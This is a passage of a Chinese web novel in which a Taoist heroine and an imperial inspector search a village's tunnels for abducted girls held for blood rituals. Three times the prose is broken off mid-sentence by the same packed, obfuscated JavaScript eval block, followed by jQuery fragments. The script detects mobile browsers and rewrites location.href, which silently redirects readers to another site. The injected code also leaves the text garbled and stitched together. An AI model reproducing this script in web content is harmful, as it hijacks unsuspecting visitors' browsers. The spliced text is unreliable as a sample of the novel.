她本是打算报官,让官府将那些村民和巫师一网打尽。 但让她没想到的是,官府并不把她的话当回事,而且那个县令公子还将她迷晕,意图不轨。 看来那县丞说要派人清剿也是表面的话了。 她现在该怎么做呢? 官府是信不得的了,时间紧迫,只能靠她自己,至少把阿巧和聋哑小姑娘带出来。 可自己现在受了伤,没什么胜算。 而且自己该怎么进村子,走地道么?万一村民发现她跑了,又是阿巧帮助她从地道走的,在那埋伏她怎么办? 走大路?这不找死么。 程希夷感觉到些许无助,要是对面是鬼魂,不论多少她都有把握,可对面是活生生的人,她的所学几乎用不上。 总不能给活人贴符让他不动吧。 用剑杀了那些村民?自己一个人又能杀几个? 而且那儿总归是他们更熟悉,万一有什么陷阱暗道,她明着来几乎是送死。 单凭她自己可能真的做不到。 回京城求助? 先不说京城离赤县路远,来回需要多久。 她要跟谁求助,怎么求助? 跟程玉和?她也许会帮忙,但作为交换,程希夷要继续听从于她,相信她的故事,成为一柄利器,为巫术案中受害的陆家复仇。 自由,真正的家人?从此是不可能的。 除了程玉和,她还认识一个人。 程希夷摇摇头,不该想到他的。 不说她该怎么解释之前的欺骗,而且他一个京官也管不了地方的事吧? 就算他可以管,但他会帮忙么? 程希夷想了想,如果知晓真相,他不恨她就不错了,不可能帮忙。 这几条路都不行,程希夷倒是还有一个办法。 是一个杀阵,她曾经在偷学禁术的时候看到的。 当时她只是无意中看到的,在禁术的夹层里,记载了一种遇到危险时击杀敌人的阵法。 这种阵法可以可以束缚住阵法内的所有敌人,并将其击杀。 但条件比较苛刻,一是需要鲜血画阵,二是对术者的身体要十分强硬,因为此阵对身体有极大的负担,三是术者的魂魄要足够强大,可以承受阵内冤魂的怨念,否则会被撕裂。 如果上述任何一条都不符合,那么术者必会被反噬而亡。 程希夷还想多活几年,至少剩下这一年多足够撑到她恢复记忆,找到家人。 她并不觉得自己可以承受阵法的反噬。 那么没有一条路可以走了。 其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13078115|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人跟她没有任何关系,她不管也不会妨碍她。 只是她答应过会回去救人,就不能食言。 那么只有兵行险招,先回去一看了。 等离开这里,自己身上这身衣服应该可以换些钱买柄剑和一些符纸,再买匹马,到时候肯定用得上。 说走就走,她悄悄将房门打开一条缝,门外并没有人。 她走出去,这一层楼都没有人,顿时松了口气。 可轻步下台阶,还未至一楼,便可看到有兵士在那守着,她连忙蹲下躲了一躲。 又转回楼上。 二楼有几扇窗户,她打开看了看,其中有一扇窗外并没有什么人,可以从这沿着屋脊逃出馆驿。 就是自己的脚不知道行不行。 程希夷摸了摸脚,多走几步还是挺疼的,慢慢走应该没有问题,用轻功恐怕做不到。 她爬出窗户,沿着屋檐轻声走,尽量不发出声音。 事情发展得很顺利,快爬到最后一层外墙时,有个兵士发现了她。 “快来人,抓住她!” 程希夷本在专心爬,闻言吓了一跳,差点摔了,还好稳住了身体。 她没停下,继续走,差几步就可以跳出馆驿了。 周围有几个跑得快的兵士跑来,有个领头的说:“姑娘,快下来吧,小心摔了。” 程希夷没理他,反而加快了步伐。 下面的兵士们急得团团转,都想爬上去将她带下来,可惜这屋顶比较高,他们爬不上去。 有几个灵活的拿来一把梯子,接着几个人迅速爬上梯子。 程希夷此时已经走到外墙上,准备跳下去了。 这儿的墙相比其他地方要低矮一些,只要低身蓄力,凭她的技巧,往下一跳应该不会受伤。 忽而听到一声焦急的惊呼:“希夷!” 突然在这里听到自己的名字,程希夷一怔,往前一看,可什么都还没看到,脚下一滑,整个人从上面滚落下来。 周围一片倒吸凉气的声音。 我怎么这么倒霉。程希夷掉下去之前这么想。 但不是意料之中的冷硬地面,而是一个温暖宽厚,还带着这几日让她安睡的淡淡竹香的怀抱。 “你没事吧?” 程希夷浑身一抖,睁眼一看,正好对上一双关切而深邃的黑眸。 那双漂亮的桃花眼平时看人总是浅浅一看,不多做停留,此时却专注地看着怀中这个一直想逃跑的女子,生怕她又从怀里溜走似的。 “我,我没事。”程希夷移开了眼,脸上染上一层薄红,尽管她并不明白为什么,但再待在这个人怀中,她的脑子会发热到什么也不能想的。 “别动。”杜文焕用了点力,几乎将她摁进怀中,借此警告她别再试图逃跑。 程希夷真的不动了,但不是听话,而是在口中念着自己学的静心的咒语,以平复加快跳动的心。 在众目睽睽之下,程希夷被抱回房中。 守卫的兵士见她没事,也都庆幸自己不必因失职而被罚了。 他们都从庆幸变成了看戏,互相交换眼神——巡抚大人还可以这么温柔啊? “守着她的小春呢?”杜文焕将她放到床上坐好,开始一个个问责。 小春本来在厨房看烧饭,听到声音之后也跟了出来,程希夷从外墙掉落的全过程都被她看到了,差点没被吓死。 此时战战兢兢走出来,低着头说:“巡抚,是奴婢的错,奴婢没看好姑娘。” 杜文焕眉头一皱,正要开口,旁边的人扯了扯他的衣角,他回头一看,冷漠的眼神立刻缓和了许多。 他看着希夷,不再说话,像是等她说。 程希夷说:“别怪她,也别怪其他的兵士。是我骗小春说想睡觉,有事也不必叫我,她才出去的。” 杜文焕沉吟了一会,又转头吩咐房中其他人,说:“既然姑娘说了,本官也不问责了,你们都先出去吧。” “是。”众人急忙应下,就都出去了,还贴心地带上了门。 屋内只有他们两个人,程希夷感觉这儿的温度一下升高了许多,她咬着下唇,正要开口打破僵局。 杜文焕先开口了。 他蹲在程希夷面前,好让她不必抬头看他,摸了摸她的左脸说:“还疼吗?” 程希夷一愣,脑子先略过他们俩什么时候这么亲近了,才想起他指的是县令公子打的那一巴掌。 “早就不疼了。” 他这才沉下声音,似笑非笑地说:“你可真爱骗人啊。” 终于要开始算账了。 38. 要事 “我没有骗人,”程希夷移开眼睛,“我的脸确实不疼了。” “你知道我说的不是这个。”杜文焕眼神一刻不移地盯着她,架势像审问犯人,眼中却盛着琥珀流光似的,满是期待。 程希夷因为心虚,心头跳个不停,嘴上死不承认,说:“巡抚想必是认错人了。” 杜文焕见要是没有证据,她会嘴硬到底,便从袖中拿出一张纸,递给她,示意她看。 程希夷余光瞥见,顺势接过,只见那是一张有点熟悉的纸,上头的笔迹也很眼熟。 略微思索,她恍然想起这不就是她离开京城之前在杜府西院的书房中夹在书中的一张纸条么? 这已经很明显了,她再装傻也说不过去了。 “你猜到了?”她小心翼翼地问。 “嗯。” “可这并非我平日的笔迹……” 杜文焕叹了口气,见她的注意力竟放在这种事上,只好先耐心地解释自己的推测:“你写得匆忙,又非刻意模仿别人的笔迹。若是有心,怎会琢磨不出?而且这京中除了你,我想不出会有第二个人会给我留下这种讯息。” “为什么?” “一是少有人可以这么神出鬼没,二是有这种身手的不会简单地只留下一张意味不明的纸条。” 程希夷想到留下这张纸条的目的,也顾不得自己被拆穿,担忧地问:“杜夫人放在你卧房中的那些香料,你不再用了吧?” 杜文焕见她首先想到的是自己,心头不免一暖,被欺骗的那点仅有的不满此时也烟消云散,但面上还是要端着,说:“我从未用过。” 程希夷惊讶地说:“你知道?” 杜文焕微微颔首,说:“我与继母的恩怨由来已久,只言片语解释不清。总之她所做的事我都知道,而且我已经搬出杜府,只是偶尔回去,也不必再担心她的手段。” 程希夷放下心来,方才嗫嚅着讲出自己的疑惑:“你一见这张纸就知道是我,可我说我去转世投胎了,你也相信了啊?” 杜文焕没说话,从颈上取下一枚旧银锁,给她看。 程希夷接过,抚摸着上头凸起的刻痕,隐约从中感受到一丝浅浅的联系。 “你是说,是它?”她不敢相信,“怎么会,血契明明已经解开了。” “我通过它感应到了你。”杜文焕想起这几日触碰它时的感觉,也有些奇怪,“这里面仿佛还困着你的一缕魂魄似的,它有着和你魂魄相似的……感觉?” “感觉?你是凭借感觉发现的吗?”程希夷将那银锁细细打量了一番,可除了那银锁中间如同刀穿过般的痕迹,其他并无异样。 它不是什么特殊的法器,也只是用符与她的魂魄连接过而已。 按理来说,同样作为媒介的那个陶罐破碎后,契约也自动解除,它不应该还残留自己的气息,更遑论魂魄呢? 不过与杜文焕感受不同,她并无在其中感受到自己的魂魄。 感受到她的魂魄也许是他的错觉,但确实有一丝她的气息。 “你也不明白?”杜文焕问。 程希夷摇了摇头,将银锁还给了他,又问:“你是借它的指引找到我的吗?” 杜文焕将银锁收好,说:“一部分原因是。我发现时已经过了一天,询问沿路的人也只有守城的兵士见过一个匆忙骑马的道士。” “你知道我是?!”程希夷没想到自己的道士身份也被知道了。 “在那之前还不知道,后来又问了一些人,一一对上。我猜只有通晓神鬼的道士才能让自己魂魄离体,况且,我想到那日在乱葬岗时,那些要抓我的鬼魂都那么怕你,你又对一些咒术十分了解,所以又多了几分把握。 那之后,正好天末国使团要来朝,皇帝担心京城周围的县发生意外。新上任的京兆府尹也才到任,事务繁多。因此皇帝想要派人巡访京兆府下二十三县,我便自请来访。其中赤县是最为关键,也是离京城最近的,幸好我在此寻到了你。” 说完,杜文焕眸子微动,“既然我已经解释完这些,现在该轮到你解释了。” 程希夷不知道自己该从哪解释,她自然明白自己的苦衷,但他会明白吗? 她很想说,但她很怕说完之后跟他牵扯太多。 毕竟她连自己是谁都不明白,而且身世复杂,怎么好牵连他? 万一她真的要是陆府之人,要为陆府向皇帝复仇,而他又是忠诚于皇帝的官吏。 到时候他们二人就从此分属不同阵营,连朋友都做不成了。 就在此时,她想起一件更重要的事,急忙扯着他的袖子说:“我与你的事暂且放在一边,现在有件更紧急的事。” 杜文焕正想说还有什么比这更紧急的事,又见她面露焦急,眼神恳求,到嘴边的话也不说了,而是问:“何事?” 他不是个不知轻重缓急的人,想到她来赤县所经历的一系列事,方才又急于逃跑,想必确实有要事。 现在先把他们二人之间的事放一边,来日方长,只要她在自己身边,一切疑惑自然有解开的一天,且等解决要事再说。 程希夷将大柳树村与赤县县衙的经历向他尽数说明。 杜文焕坐到床边,与她坐在一处,待听完,方道:“原来如此,我立刻带人前去大柳树村将他们抓回。” 说罢站起身就要出门,手却被轻轻握住。 “我要与你一起去。”程希夷抬眼看他,坚定地说。 “可是你的伤还未好。” 她摇了摇头,说:“我的伤不打紧,而且那里有些怪异的东西,没有我,你们或许很难对付。” 杜文焕想到她所提及的在大柳树村见到的坟墓和怨灵,不由得问:“真的有那些东西存在么?” 程希夷见他为鬼魂而忧虑的样子,不由得笑了,调侃他说:“你现在还不相信有鬼魂么?” 杜文焕见到她的笑容,心中也放松了些许,看进她澄澈的眼睛,说:“我肯定相信,毕竟已经见过之前的你,只是我怕兵士们都不相信。” “我也怕这样,”程希夷如实说,“所以我想跟在你左右,如能先解决这些鬼魂最好。他们不相信不要紧,只要你相信我就够了。” 杜文焕听出这话中十乘十的信任,回握住她的手,“好,我来此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13114321|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了寻你,还有一个原因。京中发生了一些怪事,正好与你探讨。” “怎么了?”程希夷不明白他为何这么说。 “此事有些复杂,我们在路上说。” 杜文焕迈步到房前,打开房门,门外的兵士正勤勤恳恳站岗,只是耳朵不自觉竖起来,往房门探去,想听听里头的动静。 见他一出来,他们慌忙站直,装作什么也没做,实际上那动静都已经暴露他们之前在干什么了。 他并未拆穿他们,也没这个必要,而是吩咐亲信载松荣说:“去传赤县县尉,让他带二十个人来馆驿听候差遣。” “那需要知会吴县令一声么?” “不必了。”杜文焕冷冷地说,“今日上午本官查他官衙的账簿,又探访民情,才知这吴县令在地方也是一霸。此时他恐怕在家中守着他那乌纱帽瑟瑟发抖,哪有心再管这些事。” “是。”载松荣领命去叫县尉了。 不多时,人已在馆驿外集结,县尉听完杜文焕说大柳树村的村民勾结巫师祭祀少女一事,心中明了,连忙称自己绝不辱使命,又将杜文焕的吩咐传达给带来的衙役。 载松荣贴心地准备了一匹装备有柔软丝绸马鞍的马。 “只有一匹?”杜文焕将程希夷扶上马后,又将载松荣唤来,“再去准备一匹马。” 载松荣疑惑地问:“您不与那位姑娘同骑么?” “不行,”杜文焕看了一眼程希夷,眼中颇为不舍,但还是断然否决,“在馆驿内都是自己人也无妨,在外需留心,免得落人口舌,连累她的名声。况且她会是我们有力的助力,与我同骑会让这些衙役不信服。” 载松荣明了,又去牵来一匹马。 一切准备就绪,杜文焕骑上马,看着身后几十个手持武器的属下,俊逸的脸上浮现出坚毅之色,对众人说:“此去大柳树村,以解救被祭的少女为最上,亦需擒拿兴淫祀的巫师和村长。若有反抗的村民,即刻击杀。” “是!” …… 程希夷较为熟悉山中地形,在前带路,走路程较短的小路,众人又加紧赶路,不过一个时辰,众人就到了大柳树村村口。 此时天色未晚,大柳树村却异常寂静,连声鸟叫狗吠都没有,静得像是一整块坟地。 杜文焕下马,走到村口前的木杆旁,用手指从那上面沾了一些腥红的痕迹,放到鼻子底下闻了闻。 “是人血?” 他又在周围的地块上看了看。 草丛上有被践踏的痕迹,亦有些许洒落的血迹。 地上的脚印杂乱,脚印旁有一些断裂的木棍和农具,应该是有人曾经在此打斗。 如果有两伙人曾在此打斗,那么肯定会有人受伤。 受伤的这些人和其他人去哪了,莫非还藏在这村子之中,埋伏着等别人来? 走在后头的县尉也明白了他的推测,得了肯定后,眼神示意衙役分为两队,一队往左一队往右。 杜文焕、程希夷与县尉带着兵士从村中道路而过。 可让他们意外的是,大柳树村的农舍都空空如也,竟已人去楼空。 39. 再探 大柳树村静悄悄的,不曾留下一个村民,不过之前祭祀的地方还残留着些许痕迹。 用木柴搭建起来的高台已被推倒,程希夷暗中松了口气,这说明他们的祭祀并未成功,那个叫阿鸢的少女很可能还活着。 那阿巧和那个聋哑小姑娘呢?她们又被带到哪里去了? 她下了马,杜文焕余光瞥见,本想来扶她。 可还未行动,她已经轻轻巧巧地落了地,只是因右脚有伤,落地时显得不大自然。 她一瘸一拐地朝之前宰杀牲畜的地方走过去,杜文焕跟去,问:“你是有什么发现吗?” 程希夷指着一片看不出有任何血迹的土地说:“我来时,这里本有农妇在宰杀牲畜以筹办宴席,而这对面就拴着待宰的牲畜和我骑来的黑马。他们跑得如此匆忙,为什么要把牲畜带走呢?” 杜文焕懂了她的意思,暂未做声,而是环视四周,以求找到些许线索。 县尉也上前来察看,他不知这个女子是什么人,似乎与巡抚关系匪浅。 一开始这个自称是云游道士的女冠带路时他还颇有些不满,就这么一个看起来不过十七岁的小姑娘,还能对抓巫师这种紧要的事有帮助么? 但她轻车熟路地将他们带到大柳树村,他便稍微有点理解巡抚为何让这女子加入。 毕竟他在这任职两年有余,都不大清楚这山路。 闻言,他淡淡地说:“想必是村民逃跑时需要这些口粮,又或者舍不得这些牲畜。” 杜文焕在不远处撩袍蹲下,将地上的泥土捻了捻,又凑到鼻下闻了闻,方摇头说:“不,他们并未将宰杀了的牲畜带走。” “为何这么说?”程希夷问。 杜文焕站起身走回来,将手中湿润的泥土给她看,“这几日并未下雨,而此处的泥土较旁边要湿润,想必是从旧土层下翻出来的新土,而且这土里夹杂着些许血腥气和牲畜的毛发。” 程希夷与县尉一看,泥土湿而黏,带黄的土汁中渗出一丝红色。 县尉叫两个衙役将那处地块挖开,果然,很快在那下面发现了被宰杀牲畜的尸体。 “这……”见到面前的状况,县尉愈发不清楚状况。 村口支起的大锅也翻倒在地上,本盛在锅中的水已撒了大半,地上的水现在都蒸发干了,余下锅中还有参着黑色灰烬的脏水。 杜文焕将大锅旁的柴火翻了翻,都是些还未烧烬的木柴,但烧得最多的木柴也就烧了一半,最少的不过才燃起,说明这火刚升起没多久,冲突就发生了。 但现在还是不知道村民都去哪里了,莫非是……地道? 程希夷与他对望一眼,显然二人都想到了同样的可能。 吩咐县尉和两个衙役跟着一块来,其余人继续寻找可疑的线索后,杜文焕与程希夷一起来到阿巧家。 阿巧家的地道藏在床下,从入口看下去黑黢黢的。 程希夷向他们简单说明自己是如何通过阿巧的帮助,从地道离开村子的。 至于交付聋哑小姑娘及用纸马出山之事暂未说明。 程希夷打开地道门,“我走这条地道的时候是一路通向村外,地道中并未发现其他路口。” 县尉狐疑地看了她两眼,说:“这你如何得知,照你之前所说,这地道中昏暗,难以视物,油灯又在你所说的这名叫阿巧的姑娘手中,你是如何看清的?” 程希夷笑了笑,说:“小道的眼睛天生敏锐,能在黑暗中视物。而且这地道逼仄狭窄,抬手就可触碰到墙壁,所以自然知道并无其他路。” “万一有其他机关呢?” “那自然有待少府下去查看了。” “……” 杜文焕见程希夷不卑不亢,将县尉怼得说不出话,暗中发笑,这县尉对她有偏见,心思不在查案上,是该挫下锐气。 杜文焕说:“这地道不短,在村里如果想挖这么一条地道,单凭一两个人是不行的。” “嗯,救我的阿巧比较瘦弱,靠她一个人的力量确实很难,而且照这地道口的土层来看,应该不是最近挖的。” 这就奇怪了,既然这地道一早就有,村中肯定不止阿巧知道,她又为何困在这间可以逃出村子的屋子中呢? 杜文焕与程希夷对望一眼,明白了对方眼中与自己相同的推测:阿巧是自愿留下的。 “她曾经说她掌握了村中的秘密。”程希夷回忆阿巧跟她说过的话,“她给我看了手上的伤痕,那是用刀取血留下的伤疤,村子里有人用少女的鲜血炼制丹药,送往京城。” 闻言,杜文焕眼神一凛,“你是说,送往京城?” 程希夷疑惑地问:“是啊,怎么了,有什么不对吗?” “还记得我跟你说京城发生的怪事吗?” “记得。” 杜文焕的黑眸沉下,像一潭深不见底的湖水,“不久前,京城有一女子跳了护城河,溺水而亡。她的手上有你所说的那种伤疤。如果只是一个,尚且可以说是失足落水,但后来又有几个女子以相同的状况死去。而黑市也出现了所谓包医百病的‘神药’。官府暗中查其来源,是从京城附近的县乡流入。皇帝怕在天末国使臣来时生事端,不仅加强京城各市坊的戒备,也派人巡查京兆府下各县。” 一旁的县尉之前听到风声,说是巡抚要来,原本以为是考核吏治,没想到会是这个原因。 但此时说这些与现在的状况有什么关系吗? 程希夷听懂了他的意思,“你是说,这村子或许就是源头。” 杜文焕点头,“京城溺水而亡的几个女子肯定也跟他们脱不了干系。” 二人正说着,有个衙役从外走来禀告:“大人,有一处农舍发现了地道。” 又有地道? 几人连忙赶过去,那农舍茅草房顶,门前有一口井,旁边有一长条木凳。 程希夷见到那农舍时十分眼熟,这不就是一开始那对收留她和聋哑小姑娘的老夫妇的屋子么! 在那口井旁边就是她一开始见那厉鬼吞食老夫妇的地方,只是后来那些痕迹都不见了。 杜文焕见她神色不对,问:“怎么了?” “我一开始来这就是被这屋子的老夫妇收留,”程希夷压低声音说,“后来半夜看见一厉鬼吞食这对老夫妇。待我收服厉鬼回来,这儿却连一点痕迹都没留下。” “连尸体和血迹都没有?”杜文焕发现了不对劲。 “嗯,”程希夷说,“我回来时,那对老夫妇不仅没死,还站在门口迎我进去。” 大白天的,杜文焕却感觉后背一凉,他扶额,“不,不会这对老夫妇也是……” 程希夷见他一向冷静的神色浮现出一丝慌张,不由得笑了,“放心,我后来见到的那对老夫妇只是巫偶而已,不是鬼魂,当然也不是活人。” “巫偶又是什么?”杜文焕不解。 “似乎是这儿来的两个巫师制造的,用来帮人干活的东西。”程希夷说。 “嗯,我们先进去看看地道。”杜文焕没见过这东西,对这种鬼神之事似懂非懂,暂时也不纠结了。 这座农舍里的地道入口居然在之前程希夷与聋哑小姑娘所住的房间里的柜子下。 不怕外人发现这地道口么?程希夷思忖。 她在一个角落发现了自己被翻乱的包袱,里头程玉和之前给的一百两白银已经不翼而飞,其他衣物及带的朱砂符纸之类的倒是没动。 “这包袱有什么不对么?”杜文焕凑过来问。 “没有,这是我来村子时带的包袱。”程希夷瞒下程玉和所给一百两白银的事,应该是村民贪财所以偷去。 如今她没钱了,可怎么南下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13149492|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去天末国呢? 杜文焕见那包袱外表已经破损,沾了许多灰尘,但上头露出来的花纹,也非一般道士和寻常人家用得起的。 但既然希夷不说,他也不问。 程希夷见他盯着这包袱,生怕他发现些什么,忙转移话题:“我们去看看地道口吧?” “好。”杜文焕把眼睛移开,走到地道口旁,方才已经有几个衙役先下去探路,但还未上来。 不多时,地道口伸出一双手,那几名衙役回来了。 他们爬出来时带来一些灰尘,杜文焕挡在程希夷面前用袖子遮了遮口鼻,待他们站定,问:“怎么样?” “回大人,”其中一名衙役说,“这地道四通八达,十分宽敞,属下们只走了一段路,怕迷路,就先回来了。” “嗯。”看起来里头暗藏玄机,杜文焕说,“人多脚步烦乱,容易打草惊蛇,且容易触动陷阱,谁能夜视或对地道比较了解,来两人与本官一同前去。” 县尉刚刚在一旁沉寂许久,此时自告奋勇:“巡抚大人,下官虽已四十有余,但眼神锐利如鹰,请让下官随您下去一探究竟。” 他猜这个地道里肯定会有一些机关,之前在阿巧家,那女冠说如果不信她为何不自己下地道,现在若他不下去,岂不是显得他害怕了? 而且这是拿到功劳的好机会,他太想离开赤县这个鬼地方了。 “少府,你真是勇气可嘉。”杜文焕见他跃跃欲试,也不拦着,毕竟自己也要下去。 之后又站出来一年轻力壮的衙役,名为孙恒,称自己为建筑工匠出身,不仅身强力壮,眼神锐利,而且对地道之类的颇为熟悉。 县尉与孙恒先跳下去,他将衣袍下摆系好,正要去时,程希夷叫住他:“我与你一同去。” 这次他并不同意,“地道里还不知有什么机关陷阱,你的脚伤未好,恐又加重。而且这地道里想必也没什么……那种东西。” 程希夷摇头的动作很轻微,却很坚决,“若是寻常机关我去了倒碍事,只是那些村子的巫师,他们有些邪术,我怕这些机关里会有他们的参与。我去会多几分胜算。” 杜文焕沉思了一会,方才答应,“好,若有不对,你先上来。” “好。” “那我先下去。” 待他跳下去,程希夷摸了摸自己的脚,衡量了自己与地面的距离,往下一跳。 快到地面时,昏暗中一双手轻轻搂住她的腰,带她转一圈卸力,随后她的脚便平稳地落在地上。 待她站稳,那双手便默默放开了。 黑暗中有点微弱的火光,端着油灯的县尉眼睛撇到一边,将另一盏油灯递给他们,而衙役孙恒也在一旁装瞎。 程希夷连忙向县尉道了谢,接过油灯,与杜文焕开始一边摸索墙壁一边往前走。 这个地道有两个阿巧家地道那么宽,行到不远处就有两条分岔路口。 分岔路口前有一些新鲜的脚印,应该是先来的衙役留下的,脚印到路口前就转回来时的路了。 除了这些新鲜的脚印,他们还发现了一些较为陈旧的脚印。 左侧岔路口的旧脚印繁杂,右侧岔路口的旧脚印比较稀疏。 往左还是往右? “左边的脚印多而且大,还有马蹄之类的印子,想必是那些村民。”杜文焕对比之后得出结论,“右边的脚印稀疏而且其中有几双脚印明显要小,其中可能有那几个少女。” 县尉问:“巡抚,那是否分为两路,还是先去救人?” “二位大人,如果要救人,得尽快了。”孙恒在右侧岔路口发现了一片血迹,“有人受了重伤。” 程希夷用油灯去照,是一片凝固了的血迹。 “救人为上。”杜文焕也看到了那片血迹,说。 于是四人朝右边走去。 40. 救人 孙恒自告奋勇走在前头,县尉紧随其后,杜文焕与程希夷殿后。 地道幽暗,愈深愈发狭窄。 忽然,在最前的孙恒停了下来,黑暗中几人差点相撞。 “怎么停下了?”走在后面,差点刹不住脚的县尉有些不满地问。 孙恒一边摸面前的墙壁,一边回答:“这儿是死路,已经没有路了。” “怎么会……”程希夷讶异道。 杜文焕忙举灯上前一看,的确,前头是一堵墙,而附近也没别的路。 “之前路口的脚印只有进没有出,他们应该还在这里面。”他又用油灯照了照四周的墙壁,“可能有机关。” 县尉一听到“机关”,兴头劲上来了,也跟着一块找,左碰碰右戳戳,尤其注意那砖石凸起处。 没想到还真的被他找到了。 他手碰到离地一尺的一块两个巴掌大的凸起砖块,用力一摁。 只听到铁器相互摩擦的声音,县尉堆起笑容,等着门打开。 可等来的并不是门打开。 还是程希夷听着声音不对,反应快,在箭矢直直朝县尉射去时眼疾手快地拉了他一把,不然他就成筛子了。 县尉堪堪躲过,箭头擦着他胸前的官服穿过,然后陷入地中。 他惊魂未定,手抖着一时不知道说什么才好。 孙恒走过来,将那箭头拔出,细看上头的花纹,又小心地察看方才射出箭矢的地方。 “这个机关已经有许多年了,箭头已经生了绣,这机关也不大灵敏。刚才听到的咔咔声就是久未启动的摩擦声。” 杜文焕把箭矢放手中一看,“普通村民家的地道怎么会有这些机关?” 孙恒说:“这大柳树村很久之前就有过些传闻。小人从小就在这赤县附近的村子里长大,小时候曾经听老人们说别靠近大柳树村,说这里有些鬼魂和怪人出没。” 杜文焕墨色的眸子打量了他一眼,“你现在看起来不过二十多岁,莫非这传闻在十多年甚至二十年前就已经有了?” “或许更早,”孙恒说,“那时候有许多邪巫来村子捉鬼斗魂,骗了许多钱财。后来禁巫令一下,肃清这股风气,那些鬼魂之类的传言也渐渐少了。” “能看到鬼魂的人本来不多,传播得多了,看到的人自然也就多了。”程希夷笑说。 她忽然想起刚进村子时,那看起来还算正常的老村民说过一些话,便问:“我来时在村口遇到一个老伯,他让我别去下游的小柳树村,说那儿叫‘吃人村’,可有什么讲究么?” 孙恒摸了摸下巴,想了一会,方才说:“这名头没有听说过,不过这小柳树村算来也确实跟大柳树村有些恩怨。” “什么恩怨?” “这大柳树村本来就十分崇巫,一代传一代,但后来村子里有些人渐渐不信,就带领这么一群人与大柳树村决裂,在下游又建了个村子。谁知大柳树村的人认为他们数典忘祖,便时常寻个由头去找麻烦,所以两村人发生械斗也是常有的事。” 程希夷说:“莫非这地道也是那时候为躲小柳树村村民建的?” 县尉此时缓过神来,方才劫后余生还让他心惊肉跳,叹道:“若真是这样,我们当时应该走另一侧,这侧肯定是用来迷惑敌人的陷阱。” 杜文焕摇了摇头,否定了他的猜测,“应该不是陷阱,他们不知道我们来。而且这沿路也有滴下血迹。你们看——” 其他三人朝他指的地方瞧去,沿路的血迹断断续续的,而他脚边却有几大滴干涸的血迹,还有布鞋蹭过的痕迹,显然有人曾在此停留。 “门肯定就在这附近了,”杜文焕说,“四处找找有没有开门的机关,小心些。” “好。” 几个人都应下,县尉之前鲁莽地碰这机关,还心有余悸,不大敢动。 一会跟在孙恒后看看,一会跟在程希夷后摸摸砖块,一会又跟在杜文焕后假装认真分辨。 突然,听得一声轰隆的响声,县尉连忙往后一躲。 谁知他身后忽然一凉,洞壁缓缓打开,原来是孙恒找到了血迹停留之处附近的机关。 县尉见只是一道门,松了一口气,却也不敢轻易迈进。 这里到处都是危险,他上有老下有小,之前是冲动了,现在他可不敢出头。 可,可这又是表现的好机会…… 正当他踌躇时,离他较近的杜文焕觑了他一眼,默默踏入。 他正想紧随其后,谁知程希夷先他一步跟上,接着是孙恒,他挤都挤不进去。 “哎,哎……” 最后县尉只得殿后,他心里头有些气愤,杜巡抚在前头那是对下宽容,自己身先士卒,那女冠和衙役又着急忙慌地插他前头做什么。 但生气归生气,也只好快速跟上。 通过了门,又走了一会过道,出口就像是到了一宽敞的地下屋子,这儿地上摆了许多东西,锅碗瓢盆之类的一应俱全。 隐隐约约听到有人声。 “嘘。”杜文焕作了个噤声的手势,示意他们不要出声。 是两个男子在说话。 “你的头好点了吗?”那个声音粗的说。 “好多了,现在不流血了。”那个声音细的回答。 他又说;“XXX的,那些人打得也太狠了,逼得我们不得不到地道里来躲。” 声音粗的“呵呵”地笑了一声,“他们也被打得不轻,估计现在也滚回自己村疗伤了。” 声音细的不满地说:“这次他们来势汹汹,也不知是为什么。” 声音粗的说:“不就是为了这几个小姑娘嘛,尤其是这个说不了话的。” 闻言,本在聚精会神听他们说话的程希夷抬头,可视野被杂物挡住,看不到人。 又听声音细的低声说:“要她们做什么,莫不也是为了那药?但他们不是不搞这个么?” 声音粗了笑了笑,说:“你不懂,这赚钱的买卖谁不想做,谁会跟银子过不去。见我们搞这些赚了钱,他们也闻了味,想暗中捣鼓这些,但他们村里的人哪肯同意。这不首先就想拿一个南边逃荒来的老乞婆的女儿试验。” 声音细的问:“老乞婆的女儿?莫不是说他们一直叫着要我们交出去的这个又聋又哑的姑娘?” 程希夷攥紧手边的衣裙,那聋哑小姑娘果然被抓了,她虽跟这孩子没什么瓜葛,但莫名有种责任心,恨不得现在就冲出去救人。 杜文焕注意她情绪的变化,在昏暗中轻轻握住了她的手。 冰凉的触感让她松开了攥紧的手,她看向杜文焕平静的眸子,冷静了下来。 只听他们又说:“这小姑娘不会说话也不会闹,但她娘却敏锐得很,拼死拦住他们,让这小姑娘逃了,老乞婆自己却被活活打死。” 